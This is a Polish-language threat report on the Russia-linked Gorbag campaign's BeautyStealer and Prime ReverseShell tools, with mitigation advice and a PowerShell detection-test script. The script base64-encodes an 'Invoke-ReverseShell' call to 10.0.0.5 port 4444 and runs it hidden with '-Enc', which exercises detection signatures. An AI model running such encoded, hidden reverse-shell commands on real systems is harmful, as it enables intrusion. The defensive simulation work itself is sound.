Kampania złośliwego oprogramowania Gorbag zbiera dane wywiadowcze z Ukrainy

Podsumowanie

Gorbag to aktor zagrażający powiązany z Rosją, atakujący ukraińskie organizacje w celu zbierania poufnych informacji. Grupa używa wyspecjalizowanego zestawu narzędzi, który zawiera infostealer BeautyStealer i Prime ReverseShell do pozyskiwania poświadczeń przeglądarki, konfiguracji VPN oraz dokumentów. Jej operacje kładą nacisk na szybkie zbieranie informacji wywiadowczych ponad długoterminową trwałość, sugerując możliwą rolę jako pośrednik w dostępie początkowym.

Dochodzenie

Badacze z ESET śledzą aktywność Gorbag od lutego 2025 roku i zaobserwowali zmianę w 2026 roku w stronę wykorzystywania podatności na ataki przez ścieżkę traversalu w aplikacji WinRAR. Dochodzenie zidentyfikowało wiele wariantów BeautyStealer oraz analizowało wycieki danych przez Telegram i niestandardową infrastrukturę C2. Badacze odkryli również zmodyfikowaną powłokę odwrotną PowerShell, zaprojektowaną w celu wprowadzenia w błąd narzędzi bezpieczeństwa opartych na AI.

Zaradzanie

Organizacje powinny zaktualizować WinRAR w celu rozwiązania problemu CVE-2025-8088 i wzmocnić filtrowanie poczty elektronicznej, aby blokować próby spearphishingu. Ograniczenie wykonywania makr za pomocą Zasad Grupy może pomóc w zapobieganiu początkowej fazie infekcji. Zespoły bezpieczeństwa powinny również monitorować nietypową aktywność PowerShell oraz nieautoryzowaną ekstrakcję danych do usług takich jak Telegram.

Reakcja

Kiedy wykryta zostanie złośliwa aktywność, należy odizolować zarażone hosty, aby zatrzymać dalszą ekstrakcję danych i kradzież poświadczeń. Przeprowadzić analizę kryminalistyczną %ProgramData% katalogu oraz folderu startowego Windows w poszukiwaniu podejrzanych plików LNK lub ładunków. Zresetować wszystkie potencjalnie zagrożone poświadczenia, w tym hasła przechowywane w przeglądarce i konfiguracje VPN, w całej dotkniętej środowisku.

Symulacja wykonania

• Narracja ataku i polecenia: Przeciwnik uzyskał początkowy dostęp za pomocą załącznika spearphishing. Aby ustanowić trwałość i kanał komend i kontroli (C2), próbuje wdrożyć „Prime ReverseShell”. Używają PowerShell z flagą -Enc (EncodedCommand), aby ukryć strukturę ładunku przed podstawową inspekcją i zawierają frazę Invoke-ReverseShell w logice dekodowanej, aby zachować zgodność z istniejącymi sygnaturami zestawów narzędzi. Jednocześnie symulują aktywność „BeautyStealer” przez wywołanie skryptu zawierającego ten specyficzny identyfikator do eksfiltracji danych przeglądarki.

• Skrypt testu regresji:

  # Skrypt symulacji: Wzorzec aktywacji APT Gorbag
  # Ten skrypt wykonuje dwa oddzielne polecenia, aby uruchomić specyficzne ciągi detekcji.
  
  Write-Host "[+] Rozpoczynanie symulacji: Uruchamianie logiki Prime ReverseShell/BeautyStealer..." -ForegroundColor Cyan
  
  # 1. Wywołanie przez -Enc oraz Invoke-ReverseShell (Symulacja Prime ReverseShell)
  # Używamy polecenia zakodowanego w Base64, które po dekodowaniu zawiera 'Invoke-ReverseShell'
  $Command = 'Write-Host "Connecting..."; Invoke-ReverseShell -IP 10.0.0.5 -Port 4444'
  $Bytes = [System.Text.Encoding]::Unicode.GetBytes($Command)
  $EncodedCommand = [Convert]::ToBase64String($Bytes)
  
  Write-Host "[+] Wykonywanie zakodowanego polecenia..." -ForegroundColor Yellow
  Start-Process powershell.exe -ArgumentList "-Enc $EncodedCommand" -WindowStyle Hidden
  
  # 2. Wywołanie przez frazę 'BeautyStealer' (Symulacja aktywności BeautyStealer)
  Write-Host "[+] Wykonywanie wyzwalacza frazy BeautyStealer..." -ForegroundColor Yellow
  Start-Process powershell.exe -ArgumentList "-Command `"Write-Output 'Running BeautyStealer module...'`"" -WindowStyle Hidden
  
  Write-Host "[+] Polecenia symulacyjne zostały wysłane." -ForegroundColor Green

• Polecenia czyszczenia:

  # Czyszczenie: Nie utworzono trwałych plików, ale upewniamy się, że nie pozostały osierocone procesy.
  Get-Process powershell | Where-Object { $_.CommandLine -like "*Invoke-ReverseShell*" -or $_.CommandLine -like "*BeautyStealer*" } | Stop-Process -Force
  Write-Host "[+] Czyszczenie zakończone." -ForegroundColor Cyan